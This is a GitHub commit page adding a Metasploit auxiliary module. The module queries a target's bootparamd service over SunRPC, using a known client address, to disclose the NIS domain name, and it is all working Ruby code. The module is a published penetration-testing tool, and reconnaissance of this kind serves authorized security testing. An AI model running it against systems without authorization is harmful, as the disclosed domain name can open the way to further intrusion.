Skip to content

Commit 0c9f1d7

Browse files
committed
Add NIS bootparamd domain name disclosure
1 parent 72d39d3 commit 0c9f1d7

File tree

1 file changed

+153
-0
lines changed

1 file changed

+153
-0
lines changed
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::SunRPC
9+
include Msf::Auxiliary::Report
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'NIS bootparamd Domain Name Disclosure',
14+
'Description' => %q{
15+
This module discloses the NIS domain name from bootparamd.
16+
17+
You must know a client address from the target's bootparams file.
18+
19+
Hint: try hosts within the same network range as the target.
20+
},
21+
'Author' => [
22+
'SATAN', # boot.c
23+
'pentestmonkey', # Blog post
24+
'wvu' # Metasploit module
25+
],
26+
'References' => [
27+
['URL', 'https://tools.ietf.org/html/rfc1831'],
28+
['URL', 'https://tools.ietf.org/html/rfc4506'],
29+
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
30+
],
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options([
35+
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
36+
OptAddress.new('CLIENT', [true, 'Client from target\'s bootparams file'])
37+
])
38+
39+
register_advanced_options([
40+
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
41+
])
42+
end
43+
44+
def run
45+
proto = datastore['PROTOCOL']
46+
client = datastore['CLIENT']
47+
48+
begin
49+
sunrpc_create(
50+
proto, # Protocol: UDP (17)
51+
100026, # Program: BOOTPARAMS (100026)
52+
1 # Program Version: 1
53+
)
54+
rescue Rex::ConnectionError
55+
print_error('Could not connect to portmapper')
56+
return
57+
rescue Rex::Proto::SunRPC::RPCError
58+
print_error('Could not connect to bootparamd')
59+
return
60+
end
61+
62+
# Flavor: AUTH_NULL (0)
63+
sunrpc_authnull
64+
65+
# Convert ASCII to network byte order to four unsigned chars :(
66+
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
67+
68+
bootparam_whoami = Rex::Encoder::XDR.encode(
69+
1, # Address Type: IPv4-ADDR (1)
70+
*client_addr # Client Address: [redacted]
71+
)
72+
73+
begin
74+
res = sunrpc_call(
75+
1, # Procedure: WHOAMI (1)
76+
bootparam_whoami # Boot Parameters
77+
)
78+
rescue Rex::Proto::SunRPC::RPCError
79+
print_error('Could not call bootparamd procedure')
80+
return
81+
# XXX: This bubbles up from Rex::Proto::SunRPC::Client
82+
# TODO: Make it raise Rex::Proto::SunRPC::RPCTimeout
83+
rescue Timeout::Error
84+
print_error('Could not disclose NIS domain name (try another CLIENT?)')
85+
return
86+
ensure
87+
# Shut it down! Shut it down forever!
88+
sunrpc_destroy
89+
end
90+
91+
if res.nil?
92+
print_error('Invalid response from server')
93+
return
94+
end
95+
96+
bootparams = begin
97+
Timeout.timeout(datastore['XDRTimeout']) do
98+
parse_bootparams(res)
99+
end
100+
rescue Timeout::Error
101+
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
102+
return
103+
end
104+
105+
if bootparams.nil? || bootparams.empty?
106+
print_error('Could not parse bootparams')
107+
return
108+
end
109+
110+
bootparams.each do |host, domain|
111+
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
112+
113+
print_good(msg)
114+
115+
report_note(
116+
host: rhost,
117+
port: rport,
118+
proto: proto,
119+
type: 'nis.bootparamd.domain',
120+
data: msg
121+
)
122+
end
123+
end
124+
125+
def parse_bootparams(res)
126+
bootparams = {}
127+
128+
loop do
129+
begin
130+
# XXX: res is modified in place
131+
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
132+
res,
133+
String, # Client Host: [redacted]
134+
String, # Client Domain: [redacted]
135+
Integer, # Address Type: IPv4-ADDR (1)
136+
# One int per octet in an IPv4 address
137+
Integer, # Router Address: [redacted]
138+
Integer, # Router Address: [redacted]
139+
Integer, # Router Address: [redacted]
140+
Integer # Router Address: [redacted]
141+
)
142+
143+
host && domain ? bootparams[host] = domain : break
144+
rescue Rex::ArgumentError
145+
vprint_status("Finished XDR decoding at #{res.inspect}")
146+
break
147+
end
148+
end
149+
150+
bootparams
151+
end
152+
153+
end

0 commit comments

Comments
 (0)